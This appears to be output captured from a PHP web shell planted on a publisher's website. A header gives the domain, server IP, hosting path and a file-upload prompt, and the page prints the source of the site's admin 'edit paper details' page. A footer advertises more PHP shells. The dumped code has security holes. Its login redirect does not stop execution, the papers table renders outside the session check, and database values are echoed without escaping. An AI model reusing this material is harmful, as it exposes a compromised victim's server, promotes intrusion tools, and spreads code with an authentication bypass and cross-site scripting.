Domain: amberpublishers.in
Server Adress: 86.38.243.169

privdayz.com

/home/u866425823/domains/amberpublishers.in/public_html/admin/
Dosya Yükle :
Current File : /home/u866425823/domains/amberpublishers.in/public_html/admin/editpaperdetails.php

<?php
session_start();
require 'include/PHPHelper.php';
if (!isset($_SESSION['userID'])) {
    header("location: login.php");
} else {
    if (isset($_POST['submit'])) {
        // Code for handling form submission if needed
    }
    // Check if success message is set
    if (isset($_GET['success']) && $_GET['success'] == 1) {
        echo '<div class="alert alert-success">Paper deleted successfully.</div>';
    }
    // Check if error message is set
    elseif (isset($_GET['error']) && $_GET['error'] == 2) {
        echo '<div class="alert alert-danger">Error deleting paper. Please try again.</div>';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<?php
$title = "Edit Papers Details|| IJSRI Admin Panel ";
include 'include/head.php';
?>

<body>
    <!-- ======= Header ======= -->
    <?php
    include 'include/header.php';
    ?>
    <!-- End Header -->

    <!-- ======= Sidebar ======= -->
    <?php
    include 'include/sidebar.php';
    ?>
    <!-- End Sidebar-->

    <main id="main" class="main">

        <div class="pagetitle">
            <h1>Edit Paper Details</h1>
            <nav>
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="index.php">IJSRI Dashboard</a></li>
                    <li class="breadcrumb-item active">Edit Paper Details</li>
                </ol>
            </nav>
        </div><!-- End Page Title -->

        <section class="section">
            <div class="row">
                <div class="col-lg-12">
                    <div class="card">
                        <div class="card-header">
                            <h4>Edit Paper Details</h4>
                        </div>
                        <div class="container-md">
                            <?php
                            if (isset($_GET['success']) && $_GET['success'] == 1) {
                                echo '<div class="alert alert-success">Paper deleted successfully.</div>';
                            }
                            // Check if error message is set
                            elseif (isset($_GET['error']) && $_GET['error'] == 2) {
                                echo '<div class="alert alert-danger">Error deleting paper. Please try again.</div>';
                            }
                            ?>
                        </div>
                        <!-- List all the books so that admin can edit and delete using buttons -->
                        <div class="card-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-hover">
                                    <thead>
                                        <tr>
                                            <th>Issue ID</th>
                                            <th>Title</th>
                                            <th>Author</th>
                                            <th>Page Number</th>
                                            <th>Abstract</th>
                                            <th>Keyword</th>
                                            <th>Publication Date</th>
                                            <th>Paper</th>
                                            <th>Actions</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php
                                        $sql = "SELECT * FROM papers";
                                        $result = mysqli_query($conn, $sql);
                                        if (mysqli_num_rows($result) > 0) {
                                            while ($row = mysqli_fetch_assoc($result)) {
                                                echo '<tr>';
                                                echo '<td>' . $row['issue_id'] . '</td>';
                                                echo '<td>' . $row['title'] . '</td>';
                                                echo '<td>' . $row['authors'] . '</td>';
                                                echo '<td>' . $row['page_number'] . '</td>';
                                                echo '<td>' . $row['abstract'] . '</td>';
                                                echo '<td>' . $row['keywords'] . '</td>';
                                                echo '<td>' . $row['date_of_publication'] . '</td>';
                                                // Paper preview
                                                echo '<td><a href="./' . $row['full_text_url'] . '" target="_blank" class="btn btn-outline-dark">View</a></td>';
                                                echo '<td>
                                                        <a href="updatepaper.php?id=' . $row['paper_id'] . '" class="btn btn-primary">Edit</a> 
                                                        <a href="deletepaper.php?id=' . $row['paper_id'] . '" class="btn btn-danger" onclick="return confirm(\'Are you sure you want to delete this Paper?\')">Delete</a>
                                                    </td>';
                                                echo '</tr>';
                                            }
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
    </main><!-- End #main -->

    <!-- ======= Footer ======= -->
    <?php
    include 'include/footer.php';
    ?>
</body>

</html>

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.